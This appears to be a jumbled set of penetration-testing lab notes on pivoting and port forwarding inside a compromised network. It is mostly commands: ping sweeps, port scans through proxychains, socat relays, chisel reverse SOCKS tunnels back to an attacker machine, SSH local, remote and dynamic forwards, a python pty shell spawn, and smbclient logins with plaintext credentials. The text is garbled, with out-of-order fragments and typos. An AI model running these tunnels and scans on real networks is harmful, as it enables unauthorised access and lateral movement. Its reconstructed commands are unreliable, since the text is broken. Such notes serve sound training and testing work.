• Local address 0.0.0.0 — The service is listening on all interfaces and will be visible locally, internally, and externally. If we find a service listening on 0.0.0.0 that was not visible externally on our nmap scan, this means the firewall is blocking inbound connections to this port. — This is a port forwarding opportunity! • Local address 127.0.0.1 — The service is only listening for connections locally from this host (localhost), not anywhere else. — This is a port forwarding opportunity! • Local address 172.16.1.150 — The service is only listening for connections from the local network (internally). Only hosts on the local network can connect to this service. for i in \$(seq 254); do ping 10.X.X.\$(i) -c1 -w1 & done | grep from for i in \$(seq 254); do ping 192.168.45.\$(i) -c1 -w1 & done | grep from |cut -d''-f4|tr -d': Scanning for other hosts within a different subnet _____ nmap ____ chmod 777 nmap ____ ./nmap -sn 10.0.0.1-255 for /L %i in (1,1,255) do @(ping -n 1 -w 100 10.0.0.%i | find "Reply") (for /L %a IN (1,1,254) DO ping /n 1 /w 1 192.168.100.%a) | find "Reply" PowerShell — 1..255 | ForEach-Object { Test-Connection -ComputerName "10.0.0.\$_" -Count 1 -ErrorAction SilentlyContinue | Where-Object { \$_.StatusCode -eq 0 } } nslookup 172.16.95.1 Discover the server name of a server based on the IP for i in \$(seq 1 65535); do nc -nz -w 1 10.0.0.1 \$i 2>&1; done | grep -v "refused" - nmap --- chmod 777 nmap --- ./nmap 10.4.223.215 -p-Windows - 1..1024 | ForEach-Object { Test-NetConnection -ComputerName 172.16.95.241 -Port \$_ } canning for opened ports on a specific machine from a pivot machine tcp_connect_time-out 4000 Somewhat Stable seq 1 36535 | xargs -P 20 -I port proxychains -q nmap -p port -sT -T4 10.10.169.140 | grep -E "^[0-9]+/tcp\s*open" If needed _____ proxychains nmap -p135,139,445,53,88,389,464,593,636 -sT -sCV -T4 -Pn 10.10.203.140 proxychains nmap -sT 10.10.169.140 -F ctcp_read_time_out 1500 tcp_connect_time-out 1000 Higher Speed —— seq 1 36535 | xargs -P 20 -I port proxychains -q nmap -p port -sT -T4 10.10.169.140 --min-rate 3000 | grep -E "^[0-9]+/tcp\s*open" If needed _____ proxychains nmap -p21,22, 88, 53,135,139,445,53,88,389,464,593,636,1433,3306,3389,5985,5986 -sT -sCV -T4 -Pn 10.10.203.140 proxychains nmap -sT 10.10.169.140 -F proxychains nmap 172.16.1.10 -sT -sV -Pn -T5 tcp_read_time_out 800 Scanning for opened ports on a specific machine with proxychains Reduce timeout in /etc/proxychains.conf tcp_connect_time-out 800 seq 1 36535 | xargs -P 50 -I port proxychains -q nmap -p port -sT -T4 10.10.169.140 | grep -E "^[0-9]+/tcp\s*open" Scan all ports — Service version — proxychains nmap -p 53,135,139,88 -sV -sT 10.10.169.140 seq 1 10000 | xargs -P 10 -I port proxychains -q nmap -p port -sT -T4 -Pn 10.10.169.140 --open Scan multiple hosts for a specific port for i in \$(seq 1 254); do nc -zv -w 1 10.0.0.\$i 445; done Enumerate a web application gobuster dir -p socks5://127.0.0.1:1080 --url http://172.16.1.13/ -w /usr/share/wordlists/dirb/common.txt PostgreSQL DB: 5432 Attacker 10.4.214.215 192.168.45.123 socat --- VM # 1 --- socat TCP-LISTEN:3333, fork TCP:10.4.214.215:8888 & = --- Acess VM# 2 locally from Kali Machine --- psql -h 192.168.214.63 -p 3333 -U postgres (Use common ports)(such as 80 etc) chisel server --port 8080 --reverse tail /etc/proxychains4.conf Port Forward # add proxy here ... nano /etc/proxychains4.conf — # meanwile # defaults set to "tor" # socks4 127.0.0.1 9050 socks5 127.0.0.1 1080 chisel.exe client <LHOST>:<Chisel_PORT> R:<LOCAL_PORT>:<RHOST>:<RPORT> — 127.0.0.1:<LOCAL_PORT> (127.0.0.1:400) Victim (chisel.exe client 10.0.0.1:8080 R:400:127.0.0.1:80 chisel.exe client <LHOST>:<Chisel_PORT> R:<LOCAL_PORT>:<RHOST>:<RPORT> — 127.0.0.1:<LOCAL_PORT> 127.0.0.1:400 chisel.exe client 10.0.0.1:8080 R:400:10.0.0.2:80 ssh -L <LPORT>:<RHOST>:<RPORT> <username>@<IP> —— 127.0.0.1:<LOCAL_PORT> Port 80 accessible only locally ssh -L 400:10.0.0.2:80 ariah@10.0.0.2 (127.0.0.1:100) You might need to use 127.0.0.1 — ssh -L 100:127.0.0.1:80 ariah@10.0.0.2 — 127.0.0.1:<LOCAL_PORT> (ssh -L 100:127.0.0.1:80 ariah@10.0.0.2) (127.0.0.1:100) Attacker **→** 10.4.244.215 192.168.45.224 Chisel Server Chisel Client SSH - Port 22 Setting the Chisel Server — chisel server --port 8080 --reverse Attacker's machine Targeting a specific port HTTP Tunneling ssh admin@127.0.0.1 -p 3333 Setting the Chisel Client — ./chisel client 192.168.45.224:8080 R:3333:10.4.216.215:22 & 😑 — Access SSH from our Kali Machine psql -h 127.0.0.1 -p 3333 -U postgres (Use common ports)(such as 80 etc) Attacker Setting the Chisel Server --port 8080 --reverse (Attacker's machine) tail /etc/proxychains4.conf [ProxyList] Targeting all ports # add proxy here ... # meanwile # defaults set to "tor" # socks4 127.0.0.1 9050 socks5 127.0.0.1 1080 Access port 80 proxychains curl http://10.4.244.215 Linux System - VM # 1 - Setting the Chisel Client - ./chisel client 192.168.45.224:8080 R:socks > /dev/null 2>&1 & = proxychains ssh admin@10.4.214.215 R:socks - Defaults to port 1080 Access port 80 proxychains curl http://10.4.244.215 Windows System — VM # 1 — Setting the Chisel Client — chisel.exe client 192.168.45.224:8080 R:socks = proxychains ssh admin@10.4.214.215 R:socks - Defaults to port 1080 Port scanning — seq 1 10000 | xargs -P 20 -I port proxychains -q nmap -p port -sT -T4 -Pn 10.10.203.142 | grep -E "^[0-9]+/tcp\s*open" VM # 1 — ssh -N -L 0.0.0.0:4455:10.0.0.4:445 database_admin@10.0.0.3 = — Confirm SSH LPF — ss -ntplu — [15] | 1517K | 0 | 100 | 1517K | 0 | 1517K | 0 | 100 | 1517K | 0 | 1517 Use a ports outside most common 1024 to avoid firewalls smbclient -p 4455 -L //10.0.0.2/ -U admin --password=urs123 SSH Local Port forward smbclient -p 4455 //10.0.0.2/Users -U admin --password=urs123 one socket per SSH Connection Transfer binaries from VM # 1 to VM # 2 \longrightarrow wget 10.0.0.2:666/nmap \equiv (use the correct subnet) Inbound Connection ≡ ssh -N -L 0.0.0.0:6000:10.0.0.2:80 andrew@10.0.0.2 — firefox http://10.0.0.2:5555 SSH Dynamic Port Forwarding multiple sockets for SSH Connection Attacker Reverse SSH VM # 1 **→** 10.0.0.3 10.0.0.1 Port 5432 Start SSH server Attacker's machine Checking that the SSH server on the Kali machine is listening. —— ss -ntplu —— [python3 -c 'import pty; pty.spawn("/bin/bash")' Use SSH Remote Port Forward and connect to the our Kali machine. — VM # 1 ssh -N -R 127.0.0.1:2345:10.0.0.3:5432 kali@10.0.0.1 = --- ss -ntplu ---We can now start probing port 2345 on the loopback interface of our Kali machine, as though we're probing the PostgreSQL database port on VM # 2 directly. SSH Remote Port Forwarding one socket per SSH Connection \sim systemctl start ssh \equiv Start SSH server Scenario 2 - Access an internal app hosted on a VM Attacker's machine Checking that the SSH server on the Kali machine is listening. —— ss -ntplu —— ltcp python3 -c 'import pty; pty.spawn("/bin/bash")' Use SSH Remote Port Forward and connect to the our Kali machine. — VM # 1 Ssh -N -R 127.0.0.1:2345:127.0.0.01:8000 kali@10.0.0.1 ≡ — ss -ntplu — VM # 4 Attacker \sim systemctl start ssh \equiv Start SSH server Attacker's machine thecking that the SSH server on the Kali machine is listening. —— ss -ntplu —— I SSH Remote Dynamic Port Forwarding python3 -c 'import pty; pty.spawn("/bin/bash")' spawn a TTY shell Use SSH RemoteDynamic Port Forward and connect to the our Kali machine — VM # 1 ssh -N -R 9998 kali@10.0.0.1 = --- ss -ntplu -tail /etc/proxychains4.conf # add proxy here ... Use Proxychains to tunnel traffic over this SOCKS proxy port on Attackers machine # defaults set to "tor" # socks4 127.0.0.1 9050 socks5 127.0.0.1 9998 - Scanning VM # 4 through the remote dynamic SOCKS port with Proxychains. —— proxychains nmap -vvv -sT -p9000-9100 -Pn -n 10.0.0.4 Make sure you use the internal address of VM# 4 SOCKS proxy User setting Project setting Connections Override options for this project only Burp with SOCKS PROXY — cat /etc/proxychains4.conf — Use SOCKS proxy > User interface SOCKS proxy host: localhost SOCKS proxy port: 9998 Username: Password: ☐ Configuration library □ Do DNS lookups over SOCKS proxy

https://unix.stackexchange.com/questions/705
Proxychains COnfiguration — 942/how-to-configure-proxychains-the-right-

